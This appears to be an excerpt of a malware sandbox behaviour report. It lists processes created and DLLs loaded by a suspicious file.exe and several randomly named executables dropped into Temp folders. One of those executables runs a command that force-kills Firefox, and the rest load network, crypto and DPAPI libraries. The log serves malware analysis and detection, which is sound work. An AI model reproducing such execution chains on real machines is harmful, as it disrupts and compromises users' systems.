Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2168 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e46413c-d34b-4bb5-adfb-3687c24cfd1f} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 2296eb6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4364 -parentBuildID 20230927232528 -prefsHandle 4352 -prefMapHandle 4348 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {651ca645-af68-4528-a615-b1d665984952} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 22980b6a410 rdd
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
